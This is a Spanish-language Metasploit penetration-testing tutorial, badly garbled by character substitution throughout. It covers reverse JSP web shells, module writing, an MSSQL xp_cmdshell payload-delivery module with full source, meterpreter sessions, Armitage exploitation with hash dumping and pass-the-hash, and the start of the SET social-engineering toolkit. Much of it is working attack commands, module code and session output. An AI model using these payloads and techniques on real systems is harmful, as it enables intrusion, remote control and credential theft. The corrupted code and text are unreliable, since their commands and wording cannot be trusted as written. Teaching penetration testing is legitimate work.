Lame Current =ettn4 ?e@ured
7escrpton
1111 111111111111111 11111111
11111111111
D<298B3E true yes
Dutomatcally open t"e pcture n a browser
$<L7C3 *pentest*e!plots*framewor#&*data*s4"t.bundle yes 2"e local
pat" to t"e =4"t Mac"19 $undle to upload
CP9?2 .... yes 2"e local
port
?>9=2 no 2"e tar4et
address
3!plot tar4etM
Bd Lame
11 1111
' Eldcard 2ar4et
msf e!plot("andler) > fconf4 et"'
PZQ e!ecM fconf4 et"'
et"' Cn# encapM3t"ernet >Eaddr ''M'cM-)Ma%Mf,Mc/
net addrM,%-.,(.,'..,/' $castM,%-.,(.,'..-// Mas#M-//.-//.-//.'
net( addrM fe0'MM-'cM-)ffMfea%Mf,c/*(. =copeMCn#
<P $?9D7CD=2 ?<LLBL; M<C2BCD=2 M2<M,/'' MetrcM,
?K pac#etsM-&.(') errorsM. droppedM' o5errunsM' frameM'
2K pac#etsM%,%,'& errorsM' droppedM' o5errunsM' carrerM'
collsonsM' t!@ueuelenM,'''
?K bytesM,/.-&./,/ (,/..- M$) 2K bytesM/00/0.0. (/0.0 M$)
BnterruptM,) $ase addressM'!-'''
msf e!plot("andler) > set ?>9=2 ,%-.,(.,'..,
?>9=2 => ,%-.,(.,'..,
msf e!plot("andler) > e!plot
PZQ =tartn4 t"e payload "andler...
PZQ =tarted bnd "andler
PZQ =endn4 sta4e (.-, bytes)
PZQ =leepn4 before "andln4 sta4e...
PZQ <ploadn4 bundle (-)/.0 bytes)...
PZQ <pload completed.
PZQ 7ownloadn4 p"oto...
PZQ 7ownloadn4 p"oto (,&/%, bytes)...
PZQ P"oto sa5ed as *root*.msf&*lo4s*s4"t*,%-.,(.,'..,I-'')'0-,..)/.0)'--.jp4
PZQ 9penn4 p"oto n a web browser...
3rrorM no dsplay specfed
PZQ Command s"ell sesson - opened (,%-.,(.,'..,/'M/%''0 1> ,%-.,(.,'..,M....)
PZQ Command s"ell sesson - closed.
msf e!plot("andler) >
Y&uy interesanteZ /arece que tenemos una fotoZ :amos a ver lo que parece.
4ncreble. Esta es una caracterstica muy potente, con se puede utilizar para diferentes propsitos. 7a
estandarizacin de la plataforma de hard2are de 'pple ha creado una plataforma bien definida para que
los atacantes aprovechar.
File 1pload <ackdoors
S1<&) A)#"&+OS <A#YDOO)S
Entre sus muchos trucos, &etasploit tambi!n nos permite enerar y mane%ar los depsitos basado en
+ava para obtener acceso remoto a un sistema. "ay una ran cantidad de aplicaciones 2eb mal escritas
por ah que puede le permiten subir un archivo arbitrario de su eleccin y que se e%ecute con slo
llamar en un naveador. Empezamos por la primera eneracin de una conexin inversa %sp shell y
confiurar nuestro oyente payload.
rootGbtM*pentest*e!plots*framewor#&H msfpayload ja5a*jspIs"ellIre5erseItcp
C>9=2=,)-.,(0.,.,', CP9?2=0'0' ? > s"ell.jsp
msf > use e!plot*mult*"andler
msf e!plot("andler) > set PDJC9D7 ja5a*jspIs"ellIre5erseItcp
PDJC9D7 => ja5a*jspIs"ellIre5erseItcp
msf e!plot("andler) > set C>9=2 ,)-.,(0.,.,',
C>9=2 => ,)-.,(0.,.,',
msf e!plot("andler) > set CP9?2 0'0'
CP9?2 => 0'0'
msf e!plot("andler) > e!plot
PZQ =tarted re5erse "andler on ,)-.,(0.,.,',M0'0'
PZQ =tartn4 t"e payload "andler...
En este punto, tenemos que subir nuestra shell en el servidor 2eb remoto que soporta los archivos +S/.
$on nuestro archivo subido al servidor, lo Dnico que queda es para nosotros para solicitar el archivo en
nuestro naveador y recibir nuestra shell.
PZQ Command s"ell sesson , opened (,)-.,(0.,.,',M0'0' 1> ,)-.,(0.,.-',M&),.) at
2"u 6eb -. ,)M//M&/ 1'%'' -',,
"ostname
"ostname
!en1!p1splot
CM\Pro4ram 6les\Dpac"e =oftware 6oundaton\2omcat %.'>pconf4
pconf4
Endows BP Conf4uraton
3t"ernet adapter Cocal Drea Connecton &M
Connecton1specfc 7L= =uff! . M localdoman
BP Dddress. . . . . . . . . . . . M ,)-.,(0.,.-',
=ubnet Mas# . . . . . . . . . . . M -//.-//.-//.'
7efault ;ateway . . . . . . . . . M ,)-.,(0.,.,
CM\Pro4ram 6les\Dpac"e =oftware 6oundaton\2omcat %.'>
<uildin! A Metasploit Module
#onstruccin de un mdulo Metasploit
/ara m K)ave *ennedyM, este fue uno de mis primeros mdulos que he construido para el #rame2or3
de &etasploit. Soy un tipo pitn y el cambio a rub en realidad termin por no ser CcomoC malo como
yo haba previsto. )espu!s de construir el mdulo, que quera escribir, paso a paso cmo fue capaz de
crear el mdulo, dar una peque0a introduccin en la construccin de mdulo y lo fcil que es arear
herramientas adicionales o explota en el #rame2or3 de &etasploit.
En primer luar quiero empezar con darle una peque0a idea sobre alunos de los componentes clave
para el #rame2or3 de &etasploit que vamos a estar hablando.
En primer luar echar un vistazo a la seccin lib > &S# > central dentro de &etasploit, el rea que aqu
hay una mina de oro que se quieren aprovechar para no tener que reconstruir todos los protocolos o un
ataque cada vez individual. :aya a la seccin core > explotit=
rootGbtM*pentest*e!plots*framewor#&*lb*msf*core*e!plotc ls
ar#ea.rb dectIcoa.rb lorcon-.rb se".rb.ut.rb
browserIautopwn.rb dalup.rb lorcon.rb smb.rb
brute.rb e44"unter.rb m!ns.rb smtpIdel5er.rb
brutetar4ets.rb fleformat.rb mss@lIcommands.rb smtp.rb
capture.rb ftp.rb mss@l.rb snmp.rb
dcerpcIepm.rb ftpser5er.rb ndmp.rb sunrpc.rb
dcerpcIlsa.rb "ttp.rb oracle.rb tcp.rb
dcerpcIm4mt.rb map.rb pdfIparse.rb tcp.rb.ut.rb
dcerpc.rb p.rb pop-.rb tns.rb
dcerpc.rb.ut.rb #ernelImode.rb se".rb udp.rb
rootGbtM*pentest*e!plots*framewor#&*lb*msf*core*e!plotc
/odemos ver varias reas que podran ser Dtiles para nosotros, por e%emplo theres ya protocolos
preenvasados, como &icrosoft S<7, "TT/, T$/, ,racle, 6/$, #T/, S&;, S&T/, y mucho ms. Echa
un vistazo a la mssql.rb y mssql@commands.rb, estos dos han sufrido alunos cambios sinificativos
por ") &oore, yo mismo, y el operador )ar3 recientemente ya que estamos a0adiendo un poco de
funcionalidad a trav!s de los aspectos &SS<7.
Si nos fi%amos a partir de la lnea OJP en mssql.rb, esta es la seccin que se centra en ran medida, a
leerlo y obtener un conocimiento bsico ya que estaremos cubriendo la zona posterior.
/ermite salir de core, y la cabeza a los CmdulosC de directorio, si a0adimos cualquier archivo nuevo en
aqu, de forma dinmica se importarn en &etasploit para nosotros. :amos a probar un prorama muy
sencillo, entra en frame2or3E>modules>auxiliary>scanner>mssql
"acer un rpido Ccp mssql@pin.rb ihaz@sql.rbC
Editar el archivo real de rpido usando nano o vi y le permite modificarlo lieramente, me voy a
caminar a trav!s de cada lnea y lo que sinifica=
HH
H cBdM "a+Is@l.rb %-.& -'')1,-1'. -,M,&M,/Y rel,# c <111 automatcally 4ets set
for us w"en we c"ec# n
HH
HH
H 2"s fle s part of t"e Metasplot 6ramewor# and may be subject to
<1111 lcensn4 a4reementR #eep standard
H redstrbuton and commercal restrctons. Please see t"e Metasplot
H 6ramewor# web ste for more nformaton on lcensn4 and terms of use.
H "ttpM**metasplot.com*framewor#*
HH
re@ure Amsf*coreA <111 use t"e msf core lbrary
class Metasplot& < MsfMMDu!lary <1111 ts 4on4 to be an au!lary module
nclude MsfMM3!plotMM?emoteMMM==SC <11111 we are usn4 remote M==SC r4"tW
nclude MsfMMDu!laryMM=canner <11111111111 t use to be a =SC scanner
def ntal+e <1111 ntal+e t"e man secton
super(
ALameA => AB >DY =SC <tltyAR <1111111 name of t"e e!plot
A8ersonA => Ac?e5sonM %-.& cAR <1111111 s5n number
A7escrptonA => A2"s just prnts some funny stuff.AR <111111111111 descrpton
of t"e e!plot
ADut"orA => Arel#AR <111 t"ats you bro!
ACcenseA => M=6ICBC3L=3 <1111 #eep standard
)
dere4sterIoptons(A?P9?2AR A?>9=2A) <1111 dont specfy ?P9?2 or ?>9=2
end
def runI"ost(p) <111 defne t"e man functon
be4n <111be4n t"e functon
puts :B >DY =SC!!!!: <1111 prnt to screen "a+ =SC!!!
end <111 close
end <1111 close
end <1111 close
'hora que usted tiene una idea bsica del mdulo, salvo esto Ksin el S??????M y permite que se e%ecute en
msfconsole.
msf > searc" "a+
PZQ =earc"n4 loaded modules for pattern A"a+A...
Du!lary
=========
Lame 7escrpton
1111 11111111111
scanner*mss@l*"a+Is@l M==SC Pn4 <tlty
msf > use scanner*mss@l*"a+Is@l
msf au!lary("a+Is@l) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
>3K-$BLD?J *pentest*e!plots*framewor#&*data*e!plots*mss@l*"-b no 2"e pat" to t"e
"e!-bnary scrpt on t"e ds#
M==SCIPD== no 2"e password for t"e specfed username
M==SCI<=3? sa no 2"e username to aut"entcate as
?>9=2= yes 2"e tar4et address ran4e or CB7? dentfer
2>?3D7= , yes 2"e number of concurrent t"reads
msf au!lary("a+Is@l) > set ?>9=2= doesntmatter
?>9=2= => doesntmatter
msf au!lary("a+Is@l) > e!plot
B >DY =SC!!!!
PZQ =canned , of , "osts (,''F complete)
PZQ Du!lary module e!ecuton completed
El !xito de nuestro mdulo ha sido a0adidoZ 'hora que tenemos una comprensin bsica de cmo
a0adir un mdulo, vamos a ver en el mdulo que escrib en la siuiente seccin.
2ayloads Throu!h MSS:/
A trav0s de payloads de MSS:/
En la seccin anterior que vio los fundamentos de la creacin de un mdulo, quera mostrar este
mdulo para obtener una comprensin de lo que estamos a punto de construir. Este mdulo le permite
entrear rpidamente &etasploit payloads base a trav!s de servidores &icrosoft S<7. El cdio actual
funciona con JGGG, JGGL y JGGX. Estas prximas secciones primera le uiar a trav!s el uso de este
vector de ataque, y empezar a partir de cero en la reconstruccin de cmo fue capaz de escribir este
payload Ky despu!s de ")& limpiado el cdioM.
/rimero echemos un vistazo a cmo la explotacin de las obras. Si usted lee a trav!s de la seccin de
va rpida ya, se dara cuenta de que alo similar ocurre en va rpida tambi!n. $uando un
administrador instala primero S<7 Server JGGG, JGGL o JGGX, si se especifica la autenticacin mixta o
la autenticacin basada en S<7, tienen que especificar una contrase0a para la famosa cuenta CsaC. 7a
cuenta CsaC es la cuenta de administrador de sistemas de servidores basados en S<7 y tiene un montn
de permisos en el sistema en s mismo. Si de aluna forma se puede adivinar la contrase0a de CsaC,
puede aprovechar vectores de ataque a trav!s de &etasploit para llevar a cabo ms ataques. Si observas
alunos de los captulos anteriores, hemos visto cmo el descubrimiento servidores S<7 a trav!s del
puerto 5)/ OIEI, as como realizar ataques basados en diccionario de fuerza bruta contra las
direcciones 4/ con el fin de adivinar el S<7 cuenta CsaC.
)e aqu en adelante, vamos a suponer que usted ya conoce la contrase0a para el servidor &SS<7 y que
est listo para entrear su cara en el sistema operativo subyacente y no el uso de va rpida.
:amos a lanzar el ataque=
msf > use wndows*mss@l*mss@lIpayload
msf e!plot(mss@lIpayload) > set payload wndows*meterpreter*re5erseItcp
payload => wndows*meterpreter*re5erseItcp
msf e!plot(mss@lIpayload) > set C>9=2 ,'.,'.,.,'&
C>9=2 => ,'.,'.,.,'&
msf e!plot(mss@lIpayload) > set ?>9=2 ,%-.,(.,/&.,-)
?>9=2 => ,%-.,(.,/&.,-)
msf e!plot(mss@lIpayload) > set CP9?2 0'0'
CP9?2 => 0'0'
msf e!plot(mss@lIpayload) > set M==SCIPD== "a+password
M==SCIPD== => "a+password
msf e!plot(mss@lIpayload) > e!plot
PZQ =tarted re5erse "andler on port 0'0'
PZQ Earnn4M 2"s module wll lea5e S?J9l<X.e!e n t"e =SC =er5er F23MPF
drectory
PZQ Ertn4 t"e debu4.com loader to t"e ds#...
PZQ Con5ertn4 t"e debu4 scrpt to an e!ecutable...
PZQ <ploadn4 t"e payloadR please be patent...
PZQ Con5ertn4 t"e encoded payload...
PZQ 3!ecutn4 t"e payload...
PZQ =endn4 sta4e (%,)&(' bytes)
PZQ Meterpreter sesson , opened (,'.,'.,.,'&M0'0' 1> ,'.,'.,.,'&M.%&0.)
meterpreter > e!ecute 1f cmd.e!e 1
Process &%.' created.
C"annel , created.
Mcrosoft Endows KP P8erson /.,.-(''Q
(C) Copyr4"t ,)0/1-'', Mcrosoft Corp.
C:\WINDOWS\system32>
#reatin! Our Au.iliary Module
/a creacin de nuestro mdulo au.iliar
:amos a estar buscando en tres archivos diferentes, que debera ser relativamente familiarizados de las
secciones anteriores.
framewor#&*lb*msf*core*e!plot*mss@lIcommands.rb
framewor#&*lb*msf*core*e!plot*mss@l.rb
framewor#&*modules*e!plots*wndows*mss@l*mss@lIpayload.rb
5na cosa es advertencia es que no tuve necesidad de poner diferentes comandos en tres archivos
diferentes sin embaro, si pensar en el futuro es posible que desee reutilizar el cdio y colocar las
porciones en hexJbinary mssql.rb tiene ms sentido, adems de ")& es un purista de cdio bastante
Ki love you buddyM.
/rimero echemos un vistazo a la mssql@payload.rb para tener una idea de lo que estamos viendo aqu.
HH
H cBdM mss@lIpayload.rb %-&( -'')1,'1-& ,)M,/M&-Y "dm c
HH
HH
H 2"s fle s part of t"e Metasplot 6ramewor# and may be subject to
H redstrbuton and commercal restrctons. Please see t"e Metasplot
H 6ramewor# web ste for more nformaton on lcensn4 and terms of use.
H "ttpM**metasplot.com*framewor#*
HH
re@ure Amsf*coreA
class Metasplot& < MsfMM3!plotMM?emote
nclude MsfMM3!plotMM?emoteMMM==SC
def ntal+e(nfo = OV)
super(updateInfo(nfoR
ALameA => AMcrosoft =SC =er5er Payload 3!ecutonAR
A7escrptonA => F@O
2"s module wll e!ecute an arbtrary payload on a Mcrosoft =SC
=er5erR usn4 t"e Endows debu4.com met"od for wrtn4 an e!ecutable to ds#
and t"e !pIcmds"ell stored procedure. 6le s+e restrctons are a5oded by
ncorporatn4 t"e debu4 bypass met"od presented at 7efcon ,% by =ecure=tate.
Lote t"at t"s module wll lea5e a metasplot payload n t"e Endows
=ystem&- drectory w"c" must be manually deleted once t"e attac# s completed.
VR
ADut"orA => P A7a5d Xennedy :?eC,X:
ACcenseA => M=6ICBC3L=3R
A8ersonA => Ac?e5sonM %-&( cAR
A?eferencesA =>
P
P A9=87$AR A//%AQR
P AC83AR A-'''1'.'-AQR
P A$B7AR A,-0,AQR
P A<?CAR A"ttpM**www.t"epentest.com*presentatons*6ast2rac#I="mooCon-'').pdfAQR
QR
APlatformA => AwnAR
A2ar4etsA =>
P
P ADutomatcAR O V QR
QR
A7efault2ar4etA => '
))
end
def e!plot
debu4 = false H enable to see t"e output
f(not mss@lIlo4nIdatastore)
prntIstatus(:Bn5ald =SC =er5er credentals:)
return
end
mss@lIuploadIe!ec(MsfMM<tlMM3K3.toIwn&-pe(framewor#Rpayload.encoded)R debu4)
"andler
dsconnect
end
Si bien esto puede parecer muy simple y no un montn de cdio, en realidad hay un montn de cosas
que estn sucediendo detrs de las escenas que vamos a investiar despu!s. :amos a romper este
archivo, por ahora. Si nos fi%amos en la parte superior, todo lo que debera ser relativamente el mismo
derechoB Si nos fi%amos en la seccin de referencias, esta zona es simplemente para obtener ms
informacin sobre el ataque o explotar vector oriinal. 7a plataforma de CanarC es especificar las
plataformas de (indo2s y de los ob%etivos es simplemente una seccin, si queremos a0adir sistemas
operativos o en este e%emplo, si tuvi!ramos que hacer alo diferente con sede fuera de S<7 Server
podemos arear S<7 JGGG, S<7 JGGL, y S<7 Server JGGX. El )efaultTaret nos permite especificar
un valor predeterminado para este ataque, as que si usa S<7 Server JGGG, S<7 Server JGGL y S<7
Server JGGX, que podra haber por defecto a JGGL, la ente puede cambiar a trav!s de SET T'6.ET O
J E, pero si no lo hicieron JGGL sera el sistema atacado.
/asar al Cdef exploitC esto empieza nuestro cdio actual de la explotacin, una cosa a la nota de lo
anterior, si nos fi%amos en la parte superior se incluyeron C&S#== Exploit== 6emoto== &SS<7C esto va a
incluir una variedad de los elementos que podemos llamar de la explotacin, a distancia, y las
porciones &SS<7. En concreto se llama desde el mssql.rb en el lib > &S# > core > exploits area.
7a depuracin de la primera lnea debuT false especifica si se debe representar la informacin a usted
o no, por lo eneral no queremos esto y no es necesario y sera un poco de informacin presentado al
usuario &etasploit. Si alo no est funcionando, simplemente cambiar esto a debu T true y vers todo
lo que est haciendo &etasploit. )e pasar a la siuiente lnea, esta es la parte ms comple%a de todo el
ataque. Este forro de aqu es realmente varias lneas de cdio que son sacados de mssql.rb. :amos a
entrar en !ste en un seundo, pero para explicar lo que realmente est ah=
mssql@upload@exec Kfuncin definida en mssql.rb para carar un archivo e%ecutable a trav!s de S<7
para el sistema operativo subyacenteM
&S#== 5til== ENE.to@2inEJpe K#rame2or3, payload.encodedM T crear un payload metasploit con sede
fuera de lo especificado, lo convierten en un archivo e%ecutable y codificar con la codificacin por
defecto
debu T llamar a la funcin de depuracin que est encendido o apaadoB
/or Dltimo, el estor se encarar de las conexiones del payload en el fondo para que podamos aceptar
un payload metasploit.
7a porcin de desconexin del cdio de%a la conexin desde el servidor de &SS<7.
'hora que hemos caminado por esta parte, vamos a romper la siuiente seccin en la mssql.rb para
saber exactamente lo que este ataque estaba haciendo.
The Puts <ehind &t
Detr*s de Puts 'ue444
Echemos un vistazo en el directorio > frame2or3E>lib>msf>core>exploits y utilizar su editor favorito y
edite el archivo mssql.rb. "aa una bDsqueda para Cmssql@upload@execC Kcontrol de nano?2 y > a viM.
5sted debe ver los siuientes=
H
H <pload and e!ecute a Endows bnary t"rou4" M==SC @ueres
H
def mss@lIuploadIe!ec(e!eR debu4=false)
"e! = e!e.unpac#(:>Z:)P'Q
5arIbypass = randIte!tIalp"a(0)
5arIpayload = randIte!tIalp"a(0)
prntIstatus(:Earnn4M 2"s module wll lea5e HO5arIpayloadV.e!e n t"e =SC =er5er
F23MPF drectory:)
prntIstatus(:Ertn4 t"e debu4.com loader to t"e ds#...:)
"-b = 6le.read(datastorePA>3K-$BLD?JAQR 6le.s+e(datastorePA>3K-$BLD?JAQ))
"-b.4sub!(*Xemne3&L*R :F23MPF\\HO5arIbypassV:)
"-b.splt(*\n*).eac" do [lne[
mss@lI!pcmds"ell(:HOlneV:R false)
end
prntIstatus(:Con5ertn4 t"e debu4 scrpt to an e!ecutable...:)
mss@lI!pcmds"ell(:cmd.e!e *c cd F23MPF TT cd F23MPF TT debu4 < F23MP
F\\HO5arIbypassV:R debu4)
mss@lI!pcmds"ell(:cmd.e!e *c mo5e F23MPF\\HO5arIbypassV.bn F23MP
F\\HO5arIbypassV.e!e:R debu4)
prntIstatus(:<ploadn4 t"e payloadR please be patent...:)
d! = '
cnt = /''
w"le(d! < "e!.len4t" 1 ,)
mss@lI!pcmds"ell(:cmd.e!e *c ec"o HO"e!Pd!RcntQV>>F23MPF\\HO5arIpayloadV:R false)
d! U= cnt
end
prntIstatus(:Con5ertn4 t"e encoded payload...:)
mss@lI!pcmds"ell(:F23MPF\\HO5arIbypassV.e!e F23MPF\\HO5arIpayloadV:R debu4)
mss@lI!pcmds"ell(:cmd.e!e *c del F23MPF\\HO5arIbypassV.e!e:R debu4)
mss@lI!pcmds"ell(:cmd.e!e *c del F23MPF\\HO5arIpayloadV:R debu4)
prntIstatus(:3!ecutn4 t"e payload...:)
mss@lI!pcmds"ell(:F23MPF\\HO5arIpayloadV.e!e:R falseR OMtmeout => ,V)
end
El mssql@upload@exec def Kexe, debu T falseM requiere dos parmetros y se establece la depuracin en
false de forma predeterminada a menos que se especifique lo contrario.
El hex T exe.unpac3 KC" RCM ^G_ es un rub *un?#uey que tiene nuestro e%ecutable enerado y por arte
de maia se convierte en hexadecimal para nosotros.
var@bypass T rand@text@alpha KXM y var@payload T rand@text@alpha KXM se crean dos variables con un
con%unto aleatorio de ocho caracteres alfanum!ricos, por e%emplo= /o7ec+eN
El print@status siempre debe ser utilizado dentro de &etasploit, ") no aceptar pone msZ Si usted
nota que hay un par de cosas diferentes para m vs python, en el print@status te dars cuenta de C] fg
var@payload. Exe este subsititues var@payload la variable en el mensa%e print@status, por lo que en
esencia se ve retratado de nuevoC /o7ec+eN.exe C
$ambiando de tema, la "J; T #ile.read K)ataStore ^-"ENJ;49'6W-_, #ile.size ^)ataStore
^-"ENJ;49'6W-_MM va a leer todo lo que el archivo especificado en el C"ENJ;49'6WC almac!n de
datos, si nos fi%amos en cuando dispar el exploit, se deca C"J;C, este archivo se encuentra en
data>exploits>mssql>hJb, este es un archivo que yo haba creado con anterioridad que es un formato
especfico para la depuracin de (indo2s, que es esencialmente una derivacin sencilla de eliminar las
restricciones a tama0o de archivo lmitado. En primer luar, enviar este archivo e%ecutable, ventanas de
depuracin se vuelve a convertir en un binario para nosotros, y lueo enviar la cara metasploit y llame
a nuestro e%ecutable antes de convertirse en convertir nuestro archivo de metasploit.
El hJb.sucZ K> *emneEE9 > Ch TE&/h [ [ ] fg var@bypassCM es simplemente un nombre codificado
substituin con la dinmica que hemos creado anteriormente, si nos fi%amos en el archivo "J;,
*emneEE9 se llama en mDltiples ocasiones y queremos crear un nombre al azar para confundir las
cosas un poco me%or. 7os sustitutos sub slo el codificado al azar. El hJb.split K> [ n >M cada uno hace H.
7ine H iniciar un bucle para nosotros y para dividir el archivo "J; voluminosos en varias lneas,
siendo la razn es que no podemos enviar el archivo a ranel sobre todo a la vez, hemos para enviar un
poco en un momento como el protocolo de &SS<7 no permite las transferencias de nosotros muy
rande a trav!s de sentencias S<7. /or Dltimo, el mssql@xpcmdshell KC] flneagC, falseM enva la lnea
de cara de servidor de ensayo inicial de la lnea, mientras que lo falso como falso especifica
depuracin de la y para no enviar la informacin a nosotros.
7os siuientes pasos es convertir nuestro archivo "J; de un binario para nosotros la utilizacin de
depuracin de (indo2s, que utiliza el directorioh TE&/h para una mayor fiabilidad. El
procedimiento mssql@xpcmdshell strored est permitiendo que esto ocurra.
7a idx T G servidor como un contador para que nosotros vamos a saber cuando el tama0o del archivo se
ha alcanzado, y la cnt T LGG especifica el nDmero de caracteres que estamos enviando a la vez. 7a
siuiente lnea enva nuestra cara de un nuevo archivo de LGG caracteres a la vez, aumentar el
contador idx y aseurar que idx siue siendo menor que la burbu%a hex.lenth. 5na vez que ha
terminado los Dltimos pasos convertir nuestro payload metasploit de nuevo a un archivo e%ecutable con
nuestros anteriores etapas de payload se e%ecuta a continuacin nos da nuestro capacidad de payloadZ
Eso es todoZ 5f. En esta leccin usted camin a trav!s de la creacin de un vector de ataque en eneral
y tiene ms familiarizados con lo que sucede detrs de las cortinas. Si ests pensando en crear un nuevo
mdulo, mire a su alrededor por lo eneral hay alo que se puede utilizar como punto de partida para
ayudar a crearlo.
Espero que no te suelto en esto. 'ntes de terminar este captulo, eche un vistazo a lib > &S# > core >
explotar y editar el mssql@commands.rb, aqu podrs ver una lista detallada de los comandos que me
&SS<7 y )ar3 operador han sido la construccin de un poco de tiempo ahora. Tiene la posibilidad de
empezar a crear sus propios mdulos fuera de este si quieresZ
<eyond Metasploit
M1s all1 de Metasploit
)esde Metasploit es un proyecto de cdigo abierto@ cualuiera puede aprovechar de 'orma externa y
hacer uso de sus diversos componentes y mdulos; Algunos desarrolladores intr7pidos como )avid
:ennedy se han aprovechado de esto y han creado algunas herramientas excelentes ue hacen uso de
Metasploit de 'orma muy imaginativa;
4al ve. al ver la creatividad de otros@ ue le inspirar? para llegar a sus propias herramientas para
ampliar el *rame"or+ m?s all? de la consola;
Armitage es una inter'a. gr?'ica para Metasploit ue nos 'acilita mucho la vida a la hora de trastear
con dicho 'rame"or+@ especialmente para auellos ue no usamos Metasploit regularmente; Xste nos
muestra de una 'orma visual nuestros objetivoFs y adem?s nos ayuda a encontrar elFlos exploits a los
ue nuestro objetivo puede ser vulnerable;
Armita!e
'rmitae es una fantstica interfaz rfica de usuario front?end para el &etasploit #rame2or3
desarrollado por 6aphael &ude, con el ob%etivo de ayudar a los profesionales de la seuridad a
comprender me%or la piratera y para ayudarles a darse cuenta del poder de &etasploit. /ara ms
informacin acerca de este proyecto se pueden obtener excelentes en=
http=>>222.fastandeasyhac3in.com>.
Armita!e Setup
Armita!e confi!uracin
/ara instalar 'rmitae en ;ac3Trac3, simplemente tenemos que actualizar los repositorios e instalar el
C'rmitaeC paquete.
rootGbtM]H apt14et update
...snp...
?eadn4 pac#a4e lsts... 7one
rootGbtM]H apt14et nstall armta4e
...snp...
<npac#n4 armta4e (from ...*armta4eI'.,1bt'I&0(.deb) ...
=ettn4 up armta4e ('.,1bt') ...
rootGbtM]H
'rmitae se comunica con el demonio a trav!s de &etasploit 6/$ por lo que necesitamos para
empezar a continuacin.
rootGbtM]H msfrpcd 1f 1< msf 1P test 1t $asc
PZQ KMC?PC startn4 on '.'.'.'M////& (==C)M$asc...
' continuacin, tenemos que empezar a nuestro servidor &yS<7 para 'rmitae tiene un luar para
almacenar sus resultados.
rootGbtM]H *etc*nt.d*mys@l start
=tartn4 My=SC database ser5erM mys@ld.
C"ec#n4 for corruptR not cleanly closed and up4rade needn4 tables..
rootGbtM]H
/or Dltimo, tenemos que e%ecutar Carmitae.shC de la pentest > > exploits > directorio de 'rmitae en ese
momento, se nos presenta el cuadro de diloo de conexin. En ;ac3Trac3, las credenciales por
defecto de &yS<7 es root > toor y /ostreS<7, que estn postres > toor.
rootGbtM*pentest*e!plots*armta4eH .*armta4e.s"
Seleccionamos la opcin C5sar SS7C casilla de verificacin, comprobar el resto de la confiuracin y
haa clic en C$onectarC. ' continuacin, la ventana principal de 'rmitae se muestra.
Scannin! with Armita!e
,scaneo con Armita!e
/ara seleccionar una bDsqueda que desea e%ecutar con 'rmitae, que expanda el rbol de mdulo y
haa doble clic en el escner que desea utilizar, en este caso, Csmb@versiond, y nuestro rano ob%etivo
rhosts.
)espu!s de hacer clic en C7aunchC, que espera un breve perodo de tiempo para la exploracin para
completar y se presentan con los anfitriones que fueron detectados. 7os rficos de los anfitriones
indican que hay ya sea (indo2s N/ o Server JGGE ob%etivos.
Si hay alDn host no desea orientar la campa0a, que se puede quitar haciendo clic derecho en un host,
la ampliacin del ChostC del menD, y seleccionar CEliminar "ostC. <ue vemos en nuestros resultados de
anlisis que hay dos ob%etivos Server JGGE para que podamos seleccionar slo los dos y realizar una
exploracin adicional en ellos. Tena en cuenta que 'rmitae a%usta automticamente el valor rhosts
sobre la base de nuestra seleccin.
'l hacer clic derecho en un servidor y seleccionando la opcin CServiciosC se abrir una nueva pesta0a
muestra todos los servicios que han sido escaneadas en el sistema de destino.
' pesar de estos anlisis breve, podemos ver que hemos recoido una buena cantidad de informacin
acerca de nuestros ob%etivos que se nos presenta de una manera muy amable. 'dems, toda la
informacin recopilada es almacenada convenientemente para nosotros en la base de datos &WS<7.
mys@l> use msf&N
?eadn4 table nformaton for completon of table and column names
Jou can turn off t"s feature to 4et a @uc#er startup wt" 1D
7atabase c"an4ed
mys@l> select addressRosIfla5or from "ostsN
U111111111111111U11111111111111111U
[ address [ osIfla5or [
U111111111111111U11111111111111111U
[ ,)-.,(0.,.-'/ [ Endows -''& ?- [
[ ,)-.,(0.,.-'. [ Endows -''& ?- [
[ ,)-.,(0.,.-'( [ Endows KP [
[ ,)-.,(0.,.-', [ Endows KP [
[ ,)-.,(0.,.-'& [ Endows KP [
U111111111111111U11111111111111111U
/ rows n set ('.'' sec)
mys@l>
,.ploitation with Armita!e
/a e.plotacin con Armita!e
En la exploracin se realiz anteriormente, vemos que uno de nuestros ob%etivos est e%ecutando
(indo2s N/ S/J por lo que se intenta e%ecutar el exploit &SGX?GPF para la contra. Seleccionamos el
anfitrin nos usta atacar, buscar la haza0a en el rbol, y haa doble clic en !l para que aparezca la
confiuracin para !l.
'l iual que con nuestra exploracin selectiva a cabo antes, toda la confiuracin necesaria se ha
confiurado para nosotros. Todo lo que necesitamos hacer es hacer clic en C4nicioC y esperar a la sesin
&eterpreter que se abri para nosotros. Tena en cuenta en la siuiente imaen que el rfico de
destino ha cambiado para indicar que ha sido explotado.
$uando haa clic derecho en nuestro anfitrin explotado, podemos ver una serie de opciones nuevas y
Dtiles a nuestra disposicin.
"emos volcado los valores hash en el sistema de explotado en un intento de aprovechar la contrase0a
reutilizacin de explotar los dems ob%etivos. Seleccionar el resto de hosts, se utiliza el ;pse.ec;
mdulo con el nombre de usuario administrador y hash de la contrase0a que ya ha adquirido.
'hora slo nos queda hacer clic en ClaunchC y esperar a recibir ms depsitos &eterpreterZ
$omo se puede ver claramente a partir de este breve resumen, 'rmitae proporciona una interfaz
increble para &etasploit y puede ser un ran ahorro de tiempo en muchos casos. ' esttica publicacin
no puede realmente hacer %usticia 'rmitae, pero afortunadamente, el autor ha publicado alunos
videos en su sitio que muestra la herramienta muy bien. 5sted puede encontrar en=
http=FF""";'astandeasyhac+ing;comFmedia ;
S,T
(l +it de herramientas de social-0ngeniero C%(4D est? dise6ado espec'icamente para reali.ar ataues
de avan.ada contra el elemento humano; Originalmente@ este instrumento 'ue dise6ado para ser
publicado en http=FF""";social-engineer;org lan.amiento y se convirti r?pidamente en una
herramienta est?ndar en un arsenal de penetracin de los probadores; %(4 'ue escrito por )avid
:ennedy CReL3:D y con un montn de ayuda de la comunidad en la incorporacin de los ataues
nunca antes visto en un conjunto de herramientas de explotacin; Los ataues integrado en el conjunto
de herramientas est?n dise6adas para ser dirigidas contra un ataue en'ocado a una persona u
organi.acin ue usa en la prueba de penetracin;
Pettin! Started with S,T
2rimeros pasos con S,T
7o ms importante a comprender acerca de SET es el archivo de confiuracin. $onfiurado por
defecto funciona perfectamente para la mayora de la ente sin embaro, personalizacin avanzada
puede ser necesario con el fin de aseurarse de que el ataque se realiza sin ninDn problema. 7o
primero que debe hacer es aseurarse de que ha actualizado SET, en el directorio=
rootGbtM*pentest*e!plots*=32H s5n update
< src*payload4en*payload4en.py
